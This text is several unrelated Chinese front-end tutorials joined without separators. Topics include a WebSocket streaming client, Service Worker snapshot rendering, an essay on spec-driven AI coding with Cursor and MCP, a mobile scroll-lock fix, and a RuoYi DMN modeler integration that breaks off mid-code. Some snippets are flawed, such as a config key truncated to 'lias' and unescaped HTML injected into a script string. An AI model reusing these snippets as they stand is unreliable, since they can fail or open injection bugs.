                updateStatus('连接状态: ✅ 已建立', 'green');
                log('--- WebSocket Connection Opened ---');
            };

            // 2. 监听接收到的数据帧 (核心)
            ws.onmessage = (event) => {
                try {
                    const data = JSON.parse(event.data);
                    
                    if (data.type === 'data') {
                        // 实时追加流式输出的内容
                        log(`[Server Stream]: ${data.content}`);
                    } else if (data.type === 'done') {
                        log(`[INFO]: ${data.message}`);
                        updateStatus('流已完成', 'blue');
                    } else if (data.status === 'info') {
                        log(`[INFO]: ${data.message}`);
                    }
                } catch (e) {
                    // 处理非 JSON 格式的消息
                    log(`[RAW MESSAGE]: ${event.data}`);
                }
            };

            // 监听错误事件
            ws.onerror = (error) => {
                updateStatus('连接状态: ❌ 发生错误', 'red');
                console.error('WebSocket Error:', error);
            };

            // 监听连接关闭事件 (连接断开)
            ws.onclose = () => {
                updateStatus('连接状态: 🛑 已断开', 'red');
                log('--- WebSocket Connection Closed ---');
                ws = null;
            };
        }

        // 3. 客户端发送命令:启动流式输出
        function startStream() {
            if (ws && ws.readyState === WebSocket.OPEN) {
                const prompt = promptInput.value || "Default prompt";
                const command = {
                    command: 'START',
                    prompt: prompt
                };
                // 发送 JSON 格式的启动命令
                ws.send(JSON.stringify(command));
                updateStatus('流式输出已启动...', 'purple');
                log(`[Client Command]: Starting stream for prompt: "${prompt}"`);
            } else {
                updateStatus('请先建立连接', 'red');
            }
        }

        // 4. 客户端发送命令:实时停止流
        function stopStream() {
            if (ws && ws.readyState === WebSocket.OPEN) {
                const command = {
                    command: 'STOP'
                };
                // 发送 JSON 格式的停止命令
                ws.send(JSON.stringify(command));
                updateStatus('发送停止命令', 'purple');
                log(`[Client Command]: Sending STOP command.`);
            } else {
                updateStatus('请先建立连接', 'red');
            }
        }
        
        function closeWebSocket() {
             if (ws && ws.readyState === WebSocket.OPEN) {
                 ws.close();
             }
        }

        // 页面加载后自动尝试连接
        window.onload = connectWebSocket;
    </script>
</body>
</html>
特性 WebSocket 双向流 SSE 单向流
通信方向 双向(全双工) 单向(服务器 \to 客户端)
协议基础 独立于 HTTP 的 TCP 协议 基于 HTTP 协议
适用场景 实时聊天、协作编辑、AI 实时交互控制 纯粹的 AI 流式输出、新闻推送
实现复杂度 较高(需独立服务器支持) 较低(基于标准 HTTP)
自动重连 无原生支持,需要手动实现 浏览器原生支持

如果你的 AI 应用只需要将 LLM 的结果流式输出给用户,SSE 是更简单、更健壮的选择。但如果您的应用需要用户在流式输出过程中实时中断、修改输入、或者实现多人协作WebSocket 是唯一的选择

一种基于 Service Worker 的渐进式渲染方案的基本原理

前言

笔者前面发过两篇关于流式SSR的文章:

流式SSR就是一种渐进式渲染,在传统的页面加载流程是:请求 → 等待 → 渲染。而渐进式渲染的思路是:

  1. 立即展示缓存的页面快照(即使是旧内容)
  2. 后台请求最新的页面内容
  3. 无缝替换为最新内容

这样用户感知到的加载时间接近于零,体验类似于原生 App。

前面笔者的文章中,提到关于H5页面的快照是客户端做的。本篇文章讲述一种基于 Service Worker 的渐进式渲染方案的原理,简单来讲就是将客户端的工作挪到了service worker中。通过给站点开启一个后台运行的service worker(service worker可以独立于webview运行在后台),在service worker中劫持包括主文档在内的网络请求,对文档内容进行存储,并修改返回。

技术方案设计

整体架构

┌─────────────┐
│  用户访问    │
└──────┬──────┘
       │
       ▼
┌─────────────────┐
│ Service Worker  │ ◄─── 拦截请求
└────┬────────┬───┘
     │        │
     │        └─────────┐
     ▼                  ▼
┌─────────┐      ┌──────────┐
│ 缓存快照 │      │ 网络请求  │
└────┬────┘      └─────┬────┘
     │                 │
     └────────┬────────┘
              ▼
       ┌─────────────┐
       │  流式替换    │
       └─────────────┘

核心代码实现

1. HTML 页面注册 Service Worker

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>渐进式渲染示例</title>
</head>
<body>
  <h1>Hello World</h1>
  
  <script data-snapshot>
    (function () {
      const swEnabled = location.search.indexOf('x-sw=false') < 0;

      // 注册 Service Worker
      swEnabled && navigator.serviceWorker && navigator.serviceWorker.register('/sw.js')
        .then(function (registration) {
          console.log('Service Worker 注册成功:', registration);
        })
        .catch(function (error) {
          console.log('Service Worker 注册失败:', error);
        });

      // 如果禁用,则注销 Service Worker
      !swEnabled && navigator.serviceWorker && navigator.serviceWorker.getRegistration(location.href).then((r) => {
        r && r.unregister();
      });
    }());
  </script>
</body>
</html>

关键点说明:

  • data-snapshot 属性标记这是快照阶段需要保留的脚本
  • 支持通过 ?x-sw=false 参数禁用 Service Worker
  • 禁用时会自动注销已注册的 Service Worker

2. Service Worker 核心逻辑

// sw.js
self.addEventListener('fetch', (event) => {
  // 只拦截主文档请求
  if (event.request.destination !== 'document') {
    return;
  }

  // 支持禁用功能
  if (event.request.url.indexOf('x-sw=false') >= 0) {
    event.waitUntil(caches.delete('my-cache'));
    return;
  }

  event.respondWith(handleFetch(event.request));
});

self.addEventListener('install', (event) => {
  console.log('Service Worker 安装');
  self.skipWaiting(); // 立即激活
});

3. 脚本过滤策略

function replaceScripts(text, regularStream) {
  return text.replace(/<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi, (match) => {
    // 快照阶段:只保留 data-snapshot 脚本
    // 正式阶段:只保留普通脚本
    if (match.indexOf('data-snapshot') >= 0) {
      return regularStream ? '' : match;
    }
    return regularStream ? match : '';
  });
}

为什么要过滤脚本?

  • 快照阶段:避免执行业务逻辑脚本(可能依赖未加载的资源)
  • 正式阶段:避免重复执行初始化脚本

4. 流式渲染核心

function withSnapshot(snapshot, request) {
  return new Response(new ReadableStream({
    start(controller) {
      const encoder = new TextEncoder();
      const decoder = new TextDecoder();
      
      // 第一步:立即输出快照
      controller.enqueue(encoder.encode(snapshot));

      let firstStream = true;
      
      // 第二步:请求最新内容
      fetchAndStore(request).then((response) => {
        const reader = response.body.getReader();

        function push() {
          reader.read().then(({ done, value }) => {
            if (done) {
              controller.close();
              return;
            }

            if (firstStream) {
              firstStream = false;
              
              // 第三步:清空页面
              controller.enqueue(encoder.encode(
                '<script>document.head.innerHTML = "";document.body.innerHTML = "";</script>'
              ));

              // 第四步:注入最新内容
              const text = decoder.decode(value);
              const head = text.match(/<head>([\s\S]*?)<\/head>/i);
              const body = text.match(/<body>([\s\S]*?)<\/body>/i);

              if (head && body) {
                controller.enqueue(encoder.encode(
                  `<script>document.head.innerHTML = '${head[1].trim().replace(/\n/g, '')}'</script>`
                ));
                controller.enqueue(encoder.encode(replaceScripts(body[1], true)));
              }
            } else {
              controller.enqueue(value);
            }
            push();
          });
        }

        push();
      });
    },
  }));
}

为什么要清空 DOM?

  • 快照内容和最新内容可能结构不同
  • 直接追加会导致内容重复
  • 清空后重新注入,确保页面状态一致

为什么用 innerHTML 注入?

  • 流式响应中,我们无法直接操作 DOM
  • 只能通过推送 <script> 标签让浏览器执行 JavaScript
  • innerHTML 是最简单的 DOM 替换方式

5. 缓存管理

Service Worker 的缓存存储在 Cache Storage API 中,这是浏览器提供的专门用于 Service Worker 的持久化存储空间。实际上,不需要关心物理位置,因为浏览器完全管理这些文件。

function fetchAndStore(request) {
  return fetch(request)
    .then((networkResponse) => {
      if (networkResponse.ok) {
        // 克隆响应用于缓存
        const cacheResponse = networkResponse.clone();
        caches.open('my-cache').then((cache) => {
          cache.put(request, cacheResponse);
        });
      }
      return networkResponse;
    });
}

function handleFetch(request) {
  return caches.match(request)
    .then((response) => {
      if (response) {
        // 有缓存:先展示快照,再更新
        return readResponseText(response).then((snapshot) => {
          return withSnapshot(snapshot, request);
        });
      }
      // 无缓存:直接请求
      return fetchAndStore(request);
    });
}

为什么要 clone 响应?

  • Response 对象的 body 只能读取一次(流的特性)
  • 需要一份给缓存,一份给浏览器
  • clone() 创建独立的副本

工作流程详解

首次访问(无缓存)

用户访问 → Service Worker 拦截 → 无缓存 → 网络请求 → 返回内容 → 存入缓存

二次访问(有缓存)

用户访问
  ↓
Service Worker 拦截
  ↓
读取缓存快照(去除普通脚本)
  ↓
立即返回快照内容 ← 用户看到页面
  ↓
后台发起网络请求
  ↓
清空 DOM
  ↓
注入最新 head 和 body
  ↓
更新缓存

注意事项

上述只讲述了该方案的基本原理,实际应用要考虑更多的因素如App 环境兼容性、缓存策略、基础设施依赖等,下面是方案对比:

维度 客户端方案 Service Worker 方案
首次访问拦截 ✅ 可以拦截 ❌ 无法拦截
跨平台能力 ❌ 需要各端适配 ✅ Web 标准,通用
更新速度 ⚠️ 需要发版 ✅ 实时生效
开发成本 ⚠️ 需要端上开发 ⚠️ 需要 Web 开发
维护成本 ❌ 多端维护 ✅ 单一维护
灵活性 ⚠️ 受限于客户端版本 ✅ 完全可控
降级能力 ⚠️ 需要发版回滚 ✅ 秒级降级

总结:

  • 如果你的业务是纯 Web 应用(PWA) → Service Worker 是最佳选择
  • 如果你的业务在 App 内 → 优先考虑客户端方案

参考:

别再“苦力”写后台,Spec Coding “跑” 起来

从三个疑问谈谈我们的核心理念

AI能写代码早已不是新鲜话题,但当它被引入真实的日常开发流程时,工程层面的问题才真正开始暴露:

  • 为什么在多数团队里,AI 写代码仍然时好时坏?
  • 为什么同样一句指令,有时像资深工程师,有时却像实习生?
  • 为什么生成速度上来了,代码却越来越难维护?

这些困惑并不意外——它们几乎是当前 AI Coding 的“常态体验”。 但是在我们的中后台系统中,AI Coding 却能持续稳定地高质量输出,同时我们还落地了相关的一套工程体系,效果非常直接:

原来一个页面前端编码需要半天,现在只需要一句话 → 5~10分钟就自动生成、可直接运行。

不仅速度快,质量还稳得惊人——同一个需求,不同人生成的代码结构完全一致,像是资深工程师写出来的。

这意味着:

  • 研发从大量重复编码中解放出来,把精力投入到复杂问题、架构设计与体验打磨上;
  • 新人入职即可交付,无需先花时间熟悉庞大的框架细节;
  • 团队整体交付速度成倍提升,质量更可控。

目前雪球内部近60% 的中后台新页面由 AI Coding 自动生成。

那么问题来了:

为什么同样使用 AI,差距会如此之大?

答案,不在模型本身,而在于——有没有建立一套人与 AI 的标准化沟通方式。自然语言本身具有模糊性,而软件开发却高度依赖精确表达,这种张力正是差距产生的根源。

对此,亚马逊云科技首席软件工程师 Claire Liguori 在其关于 Kiro IDE 的实践中指出,开发者要想让 AI 生成符合预期的软件,就必须采用一种更加结构化、精确的沟通方式,也就是我们遵循的核心理念:Spec-driven development(规范驱动开发),通过标准化、可验证的规范,将模糊需求转化为可执行、可追溯的工程过程。

亚马逊 CTO Werner Vogels 也曾更进一步强调,Spec-driven development 不是官僚主义,而是一种工程纪律;Apollo 登月项目的成功,在很大程度上正是建立在这种纪律之上。

那我们具体是如何践行 Spec-driven development 的呢?接下来,我们先从 Spec Coding 与 Vibe Coding 的区别 说起。

一、为什么是 Spec Coding,而不是 Vibe Coding

1、Vibe Coding:看起来很聪明,用起来很心虚

2025年2月,OpenAI 联合创始人、AI 研究者 Andrej Karpathy 首次提出 Vibe Coding(氛围编程),引发了编程的新变革。例如,你给它一句指令:

“做一个有列表和搜索的用户管理页”

它会写代码,写得还挺像回事。

但一旦进入真实工程,就会暴露问题:

  • 易出现理解偏差:接口、字段、业务逻辑经常“凭空被 AI 想象出来”;
  • 风格不统一:每次生成结构都不一样,“像每个工程师风格都完全不同”;
  • 越复杂越不稳:跨模块、校验逻辑、多状态处理、复杂组件等情况容易崩溃;
  • 维护困难:代码不是不能用,但半年后团队没人敢动。

一句话总结:

Vibe Coding = 即兴发挥,爽在当下,痛在维护。

适合 Demo、不严谨的业务评审、原型验证。但无法成为工程体系,难以支撑企业大规模真实项目。

2、Spec Coding:让 AI 按“规格”工作,而不是靠感觉

2025 年下半年亚马逊、OpenAI等头部大厂相继提出 Spec Coding 相关理念,即“规格驱动开发”,逐渐被社区和平台采纳 。Spec 的本质是:指令不是“感觉式”,而是“结构化、可解析、零歧义”。

举例:

“生成一个标准的用户管理页

数据接口:/user/list(GET)

包含搜索:name(输入框)、status(下拉)

列表字段:name、status、createTime 支持分页、批量删除。”

这是 AI 最擅长处理的输入:固定格式、强结构化、有明确上下文。

好处也极其显著:

  • 完全避免幻觉:所有字段、接口、组件都从规范解析;
  • 代码质量稳定如同资深工程师:结构统一、抽象一致、可维护;
  • 跨项目大规模复用:规范体系 + Agent能力 = 自动生成能力;
  • 越做越强:规范体系的积累与完善会持续增强编程能力。

一句话总结:

Spec Coding = 面向工程体系的 AI 生产方式。

它关注的不是“一次写得有多快”,而是长期是否稳定、是否可控、是否能规模化落地

小结:程序员不是被替代,而是完成了一次角色升级

在 AI 时代,更有价值的能力,不再只是“把代码写出来”,而是“精准表达意图的沟通”。将目标、约束与成功标准等内容严密通过规范结构化的表达写进规范,代码只是沟通与决策后的一种下游产物。程序员的价值由写代码转为写规范,即程序员负责战略(定义做什么以及为什么),AI负责战术(精确地实现如何做)。

这也是为什么我们中后台系统选择 Spec Coding,而不是 Vibe Coding。那我们是如何在中后台体系落地的呢?

二、AI Coding 的现实挑战与中后台系统的契合点

在经历了从代码补全到智能生成的快速演进后,AI Coding 的能力已经进入“可用但不稳定”的阶段。它能理解自然语言生成结构化代码,显著提升研发效率,却也在工程落地中暴露出一系列问题:

  • 理解偏差与幻觉问题:模型可能凭空生成不存在的函数或接口,或因需求描述模糊而误解逻辑,导致输出结果看似正确却无法运行;

  • 代码质量与规范不统一:生成代码易出现冗余膨胀、风格不统一、缺乏抽象与复用,短期可用,长期维护成本高;

  • 复杂场景难把握:在复杂场景下容易出现逻辑不一致、上下文理解不完整、代码结构混乱等问题,难以稳定生成可直接落地的工程级方案。

可以说,当前的 AI Coding 处理“模板化”的场景更精准,而在涉及复杂业务逻辑时问题会显著增多。当任务描述清晰、结构明确时,AI 能高效生成高质量代码;但面对抽象、依赖上下文理解的业务需求时,往往容易出现偏差或理解错误。

中后台系统相对于C端需求而言,有着更强的“规律性”和“结构化”特征,这与 AI Coding 在规则明确、结构清晰场景中的优势高度契合。中后台场景具备以下天然优势:

  • 结构化且规范化:中后台页面以表格、表单、搜索等模块为主,功能模式固定、组件体系规范且完善。能有效约束生成结果,降低“幻觉”风险;
  • 规模大且可控:中后台业务页面数量多、相似度高,配合统一模板和规范体系,AI 能在此类场景中实现高效、批量的代码生成与维护,加速需求交付的全流程。

小结:中后台开发场景兼具“高重复性”与“强规范性” ,非常适合通过 Spec Coding 实现 AI Coding 的第一落地场景。它让团队在确保可维护性的同时,快速积累高质量的 AI 生成样本,并逐步向更复杂的业务逻辑延伸。

三、从指令到交付:程序员与AI是如何沟通的?

要让人与 AI 之间实现真正高效的沟通,我们没有设计复杂的指令,而是极简的一句话

“帮我根据 [需求文档地址] 生成页面,并对接[具体环境]的中央权限系统”

即可触发完整工作流。为此,我们打造了三大 Spec 利器,并以 Cursor 作为承载这一切的工作台,把需求内容、接口信息、代码规范等全部结构化,让 AI 能在一轮沟通中就“听懂”要做什么,从而稳定产出可靠的工程级结果。

Cursor 编辑器:在 Cursor 中,我们用一句自然语言指令即可触发完整工作流:读取需求文档、调用 MCP 获取接口语义、参考UI规范并遵循 rules,生成符合工程标准的页面代码,并最终对接中央权限系统进行权限管理。Cursor 将分散的能力整合为一个连续的开发体验,让“需求→代码→调试”形成闭环,使开发者从编写代码转向指导 AI 生产代码。

三大 Spec 利器:UI 规范确保页面展示与交互统一,MCP 补充项目语义上下文,Rules 体系保障生成质量。

利器一:UI 规范为 AI 编码标准化提供基础

中后台系统的界面虽然以业务为主,但为了保证美观与一致的交互体验,我们在初期就建立了系统化的 UI 规范,并整理成 UI Spec,为后续的 AI Coding 提供了可复用、可生成的基础。

这套规范主要包含两大方面:

  • 视觉与交互标准:统一主题、字体、间距、页面模块布局、操作交互等规则,使整个项目保持一致的观感与操作体验;
  • 组件化体系:常用模块(搜索框、列表、弹窗表单等)均来自公共组件库,AI 在生成页面时可以直接复用现有标准组件而非重新造轮子。

基于这套体系,AI Coding 不再是“随意绘制界面”,而是在约束下生成标准化的 UI。这既能保证所有界面的一致性,也为自动化开发提供坚实基础。

利器二:MCP 是 AI 编码的“信息中枢”

MCP(Model Context Protocol)能连接到外部系统和数据,让模型真正理解项目语境,具备“看得见、听得懂、做得准”的能力,是 AI 编码中重要的“信息中枢”。我们核心 MCP 包含以下两个:

1. YApi MCP

YApi 是一个接口管理与文档平台,前后端等角色可在同一平台查看并对接接口,避免沟通混乱与信息不一致等问题。得益于后端团队长期、规范地维护 YApi 文档,接口信息始终保持准确、完整。

在此基础上,YApi MCP 自动获取接口的请求地址、参数、响应字段等内容,为模型提供权威、最新的 Api Spec,从源头上避免大模型凭猜测生成接口信息。

2. Auth-center MCP

中央权限系统是公司内部所有中后台系统统一管理权限的平台。

Auth-center MCP 通过接口调用的方式快速接入权限系统,包括接口自动定级、资源自动新增、页面接口绑定等权限管理全流程配置,既能提高接入效率,更能避免人工操作失误。

基本的 MCP 配置如下:

{
      "mcpServers": {
        "auth-center-mcp": {
          "command": "npx",
          "args": [
            "-y",
            "auth-center-mcp",
            "--username=***",
            "--password=***"
          ]
        },
        "yapi-mcp": {
          "command": "npx",
          "args": [
            "-y",
            "yapi-mcp",
            "--yapiHost=***",
            "--username=***",
            "--password=***"
          ]
        }
      }
    }

通过 MCP 的接入,模型像是装上了“千里眼”,不再是一个“闭门造车”的助手,而是能真正读懂上下文的团队成员。

利器三:Rules 让生成代码具备“专业级水准”

大模型虽然强大,但它容易幻觉生成冗余且不易维护的代码,为了控制它的输出质量,我们制定了一系列 Spec 并沉淀到 cursor的 rules 文件中,在编程过程中提供持久的、可复用的上下文,这些 Spec 既是工程的底线,也是 AI 的知识库。

在众多rules文件中,有6个对生成的代码质量至关重要:

 ---
    description:
    globs:
    alwaysApply: true
    ---

    ## 文件组织

    项目开发规范已按功能模块拆分到 `./rules/` 目录中:

    - `project-overview.mdc` - 项目概述和核心开发原则
    - `requirements-reading.mdc` - 读取需求文档的规范
    - `api-development.mdc` - 接口调用规范和数据格式处理规范
    - `component-usage.mdc` - 公共组件使用规范
    - `forbidden-practices.mdc` - 禁止事项和常见错误预防
    - `auth-center.mdc` - 接入中央权限规范
    ... 其他rules文件
  • project-overview.mdc:定义项目的核心开发原则与工程约束,提供标准CRUD的最佳实践,是所有生成任务的总纲;

  • requirements-reading.mdc:指导大模型从需求文档中,精准读取页面相关需求内容;

  • api-development.mdc:规范接口请求方式,确保接口调用及数据处理相关代码符合团队约定;

  • component-usage.mdc:指导大模型遵循设计规范,并正确使用公共组件,在避免重复造轮子的同时,还能在生成阶段对齐UI规范;

  • auth-center.mdc:提示大模型根据代码找出页面所有操作按钮及对应接口,组装成特定schema数据,并调用对应mcp,确保权限按需接入中央权限系统;

  • forbidden-practices.mdc:列出禁止写法与常见错误,比如直接操作 DOM、跳过 YApi 文档直接开发等。

AI 生成的代码会自动对照这些 rules 进行校验,不符合规范的部分会触发二次修正,最终让 AI 的输出更接近资深开发者的专业级水准。

四、后续展望:我们还想做更多

目前只是 AI Coding 的第一步,我们还将基于规范驱动开发继续探索以下方向:

  • 扩大覆盖面:目前主要支持部分中后台项目的常规页面,后续会逐步提升中后台项目使用占比;同时扩展到支持复杂交互页面;更进一步,做到走出中后台项目,支持要求更严格、形式更多变的C端系统;
  • 更细粒度的回溯与优化:让 AI 输出过程具备“可回放”、“可解释”、“可优化”的能力;
  • 全流程智能化: 从上游提出业务需求(想法),智能生成需求文档,再到自动 coding、测试,最后完成自动提交和部署。

移动端H5弹窗“滚动穿透”的终极解决方案:为什么 overflow: hidden 没用?

移动端弹窗“滚动穿透”的终极解决方案:为什么 overflow: hidden 没用?

在移动端 H5 开发中,“滚动穿透”(Scroll Chaining / Ghost Scroll)绝对是让无数前端开发者血压升高的经典 Bug 之一。

什么是“滚动穿透”?

场景很简单:

  1. 你打开了一个全屏弹窗(Modal/Popup)。
  2. 弹窗下面有一层长列表背景。
  3. 当你在弹窗上滑动手指时,底下的背景页面竟然跟着一起滚动了!

这不仅体验极差,还容易导致弹窗错位或用户迷失上下文。

image.png

常见误区:以为 CSS 就能搞定

大多数人的第一反应是:“这还不简单?给 body 加个 overflow: hidden 不就行了?”

/* ❌ 只有 PC 端有效,移动端经常翻车 */ body.modal-open { overflow: hidden; }为什么失效? 在 PC 端,overflow: hidden 确实能隐藏滚动条并禁止滚动。但在移动端(特别是 iOS Safari),浏览器认为 body 的滚动是“视口(Viewport)”级别的特性。即使你禁用了 body 的溢出,用户手指在屏幕上拖拽(Touch Events)时,浏览器依然会触发默认的滚动行为,甚至引发橡皮筋效果。

进阶方案:阻止 touchmove(有副作用)

第二种常见的方案是直接阻止弹窗遮罩层的触摸事件:

// ❌ 这种一刀切的方案会导致弹窗内部也无法滚动 modal.addEventListener('touchmove', (e) => { e.preventDefault(); }, { passive: false });

局限性: 如果你的弹窗内部本身就需要滚动(比如一个长长的语言选择列表),这行代码会把弹窗内部的滚动也一并杀掉,导致“死锁”。虽然可以通过判断 target 来优化,但逻辑非常繁琐。

终极解决方案:Body 固定定位法(Position Fixed)

目前业界(包括 Ant Design Mobile, Vant 等主流组件库)公认的最稳妥方案,就是**“Body 固定定位法”**。

核心原理

既然禁止滚动失效,那我们就从物理上切断滚动的可能。 当弹窗打开时,我们将 body 设置为 position: fixed。一个固定定位的元素,天然就是死死钉在屏幕上的,无论你怎么滑,它都不可能动。

带来的新问题:页面跳顶

单纯设置 position: fixed 会导致一个严重的副作用:页面会瞬间跳回到顶部。因为脱离文档流后,scrollTop 丢失了。

完整代码实现

为了解决跳顶问题,我们需要在“锁定”前记录当前的滚动位置,并在“解锁”后恢复它。

这正是我们项目 Popup 组件中那段 useEffect 代码的逻辑:

// React Hook 示例

useEffect(() => {
  if (visible) {
    // 1. 🔒 锁定:记录位置并固定 Body
    const scrollTop = window.scrollY || document.documentElement.scrollTop;
    
    document.body.style.position = 'fixed';
    document.body.style.top = `-${scrollTop}px`; // 把页面“拉”回原来的视觉位置
    document.body.style.width = '100%';
    
    // 存起来,一会儿还要用
    document.body.dataset.scrollY = scrollTop.toString();
    
  } else {
    // 2. 🔓 解锁:恢复样式并滚动回去
    const scrollTop = parseInt(document.body.dataset.scrollY || '0', 10);
    
    document.body.style.position = '';
    document.body.style.top = '';
    document.body.style.width = '';
    
    // 恢复滚动位置,让用户无感知
    window.scrollTo(0, scrollTop);
  }
}, [visible]);

代码解析

  1. document.body.style.position = 'fixed':这是核心,强制禁止滚动。
  2. top = -${scrollTop}px:这是精髓。假设你滚到了 500px 的位置,为了防止变为 fixed 后跳回 0px,我们给 body 一个 -500px 的偏移量,视觉上页面就纹丝不动了。
  3. window.scrollTo(0, scrollTop):关闭弹窗时,解除 fixed,此时页面真的回到了 0px,我们必须立即用 JS 把它滚回到之前的 500px,实现无缝衔接。

总结

虽然这段 JS 代码看起来有点“重”,甚至操作了 DOM,但它目前是解决移动端(尤其是 iOS)滚动穿透问题兼容性最好、副作用最小的方案。

下次遇到弹窗滚动穿透,别再纠结 overflow: hidden 了,直接上“Body 固定定位法”吧!


ruoyi集成dmn规则引擎

环境说明

基于RuoYi-Vue2q前端如何集成DMN组件
版本号:3.9.0
更多关于ruoyi集成工作流,请访问若依工作流

集成步骤

  • 安装依赖
npm install dmn-js dmn-js-properties-panel --save
npm install --save dmn-moddle
  • vue.config.js增加dmn.js配置, 在transpileDependencies,alias 进行设置
lias: {
    '@': resolve('src'),
    'lezer-feel$': resolve('node_modules/lezer-feel/dist/index.js'),
    '@camunda/feel-builtins$': resolve('node_modules/@camunda/feel-builtins/dist/index.js'),
    'feelers$': resolve('node_modules/feelers/dist/index.js'),
    'feelin$': resolve('node_modules/feelin/dist/index.cjs'),
    '@bpmn-io/feel-lint$': resolve('node_modules/@bpmn-io/feel-lint/dist/index.js'),
    '@bpmn-io/lezer-feel$': resolve('node_modules/@bpmn-io/lezer-feel/dist/index.js'),
    // dmn-moddle 使用 ES 模块,webpack4 需要指向 CJS 版本
    'dmn-moddle$': resolve('node_modules/dmn-moddle/dist/index.cjs')
    }

  transpileDependencies: [
    'quill', 
    'bpmn-js', 
    'diagram-js',
    'bpmn-js-properties-panel',
    '@bpmn-io/properties-panel',
    '@bpmn-io/feel-editor',
    '@bpmn-io/feel-lint', 
    '@bpmn-io/lezer-feel', 
    'feelers', 
    //以下是dmn-js需要的配置,主要是因为dmn-js 使用了 ES6+ 语法,但 webpack 未转译 node_modules 中的这些文件
    'lezer-feel',
    'dmn-js',
    'dmn-js-properties-panel',
    'dmn-js-boxed-expression',
    'dmn-js-decision-table',
    'dmn-js-literal-expression',
    'dmn-js-shared',
    'dmn-moddle'],
  • 前端页面编码
<template>
  <el-container class="dmn-modeler-container">
    <!-- 头部操作区域 -->
    <el-header class="dmn-header">
      <div class="header-content">
        <div class="header-title">
          <h3>DMN 决策表建模器</h3>
        </div>
        <div class="header-actions">
          <el-button-group>
            <el-button icon="el-icon-folder-opened" @click="openFile">导入</el-button>
            <el-button icon="el-icon-download" @click="downloadDiagram">导出</el-button>
            <el-button icon="el-icon-document" type="primary" @click="saveDiagram">部署</el-button>
          </el-button-group>
        </div>
      </div>
    </el-header>
    
    <!-- 主要内容区域 -->
    <el-main class="dmn-main">
      <div class="dmn-content">
        <!-- DMN 画布区域 -->
        <div class="canvas-container">
          <div id="canvas" class="dmn-canvas" v-loading="initializing"></div>
        </div>
      </div>
    </el-main>
    
    <!-- 文件输入 -->
    <input 
      ref="fileInput" 
      type="file" 
      accept=".dmn,.xml" 
      style="display: none" 
      @change="handleFileImport"
    />
  </el-container>
</template>

<script>
import DmnModeler from 'dmn-js/lib/Modeler'
import FileSaver from 'file-saver'
import { deployDmnTable } from '@/api/camunda/dmn'

// 样式引入
// 基础样式
import 'dmn-js/dist/assets/diagram-js.css'
// DMN 字体样式
import 'dmn-js/dist/assets/dmn-font/css/dmn.css'
// 决策表相关样式(确保决策表正确显示)
import 'dmn-js/dist/assets/dmn-js-shared.css'
import 'dmn-js/dist/assets/dmn-js-decision-table.css'
import 'dmn-js/dist/assets/dmn-js-decision-table-controls.css'
// DRD (Decision Requirements Diagram) 视图样式
import 'dmn-js/dist/assets/dmn-js-drd.css'

export default {
  name: 'CamundaDmnModeler',
  data() {
    return {
      dmnModeler: null,
      canUndo: false,
      canRedo: false,
      isInitialized: false, // 标记是否初始化成功
      initializing: false, // 初始化或导入中的 loading 状态
      initPromise: null // 记录初始化 Promise,便于后续等待
    }
  },
  mounted() {
    this.$nextTick(() => {
      this.initModeler()
    })
  },
  beforeDestroy() {
    if (this.dmnModeler) {
      this.dmnModeler.destroy()
      this.dmnModeler = null
    }
    this.initPromise = null
  },
  methods: {
    // 生成随机决策表ID
    generateDecisionId() {
      const randomNum = Math.floor(Math.random() * 10000)
      return `Decision_${randomNum}`
    },

    initModeler() {
      if (this.initializing && this.initPromise) {
        return this.initPromise
      }

      try {
        // 如果已有实例,先销毁重新创建,避免残留状态
        if (this.dmnModeler) {
          try {
            this.dmnModeler.destroy()
          } catch (destroyErr) {
            console.warn('销毁旧的 DMN Modeler 失败:', destroyErr)
          }
        }

        this.dmnModeler = new DmnModeler({
          container: '#canvas'
        })
        this.initializing = true
        this.isInitialized = false
        
        // 加载空白决策表 - 使用标准的 DMN 1.3 格式
        // 根据 dmn-moddle 11.0.0,使用正确的命名空间
        const decisionId = this.generateDecisionId()
        const decisionTableId = 'DecisionTable_' + Date.now()
        const diagramXML = `<?xml version="1.0" encoding="UTF-8"?>
<definitions xmlns="https://www.omg.org/spec/DMN/20191111/MODEL/" xmlns:dmndi="http://www.omg.org/spec/DMN/20180521/DMNDI" xmlns:di="http://www.omg.org/spec/DMN/20180521/DI/" xmlns:dc="http://www.omg.org/spec/DMN/20180521/DC/" id="Definitions_1" name="决策表" namespace="http://camunda.org/schema/1.0/dmn">
  <decision id="${decisionId}" name="决策表">
    <decisionTable id="${decisionTableId}" hitPolicy="UNIQUE">
      <input id="Input_1" label="输入">
        <inputExpression id="InputExpression_1" typeRef="string">
          <text></text>
        </inputExpression>
      </input>
      <output id="Output_1" label="输出" typeRef="string" />
    </decisionTable>
  </decision>
  <dmndi:DMNDI>
    <dmndi:DMNDiagram id="DMNDiagram_1">
      <dmndi:DMNShape id="DMNShape_${decisionId}" dmnElementRef="${decisionId}">
        <dc:Bounds x="100" y="100" width="300" height="200" />
      </dmndi:DMNShape>
    </dmndi:DMNDiagram>
  </dmndi:DMNDI>
</definitions>`

        // 使用箭头函数确保 this 上下文正确
        const initTask = this.dmnModeler.importXML(diagramXML)
        this.initPromise = initTask
        initTask.then(() => {
          // 只有在 importXML 成功后才标记为已初始化
          this.isInitialized = true
          this.initializing = false
          this.$message.success('决策表初始化成功')
          
          // 确保 dmnModeler 已完全初始化后再访问服务
          if (this.dmnModeler && typeof this.dmnModeler.get === 'function') {
            // 等待 DOM 更新
            this.$nextTick(() => {
              // 监听撤销重做状态
              const eventBus = this.dmnModeler.get('eventBus')
              if (eventBus) {
                eventBus.on('commandStack.changed', () => {
                  if (this.dmnModeler && typeof this.dmnModeler.get === 'function') {
                    const commandStack = this.dmnModeler.get('commandStack')
                    if (commandStack) {
                      this.canUndo = commandStack.canUndo()
                      this.canRedo = commandStack.canRedo()
                    }
                  }
                })
              }
              
            })
          }
        }).catch(err => {
          console.error('初始化失败:', err)
          console.error('XML 内容:', diagramXML)
          this.isInitialized = false
          this.initializing = false
          this.$message.error('决策表初始化失败: ' + (err.message || '未知错误'))
          // 如果初始化失败,清空 dmnModeler,避免使用不完整的状态
          if (this.dmnModeler) {
            try {
              this.dmnModeler.destroy()
            } catch (e) {
              console.warn('销毁失败的 modeler:', e)
            }
            this.dmnModeler = null
          }
          throw err
        }).finally(() => {
          // 保持 initPromise 只代表最近一次初始化
          if (this.initPromise === initTask) {
            this.initPromise = null
          }
        })

        return initTask
      } catch (err) {
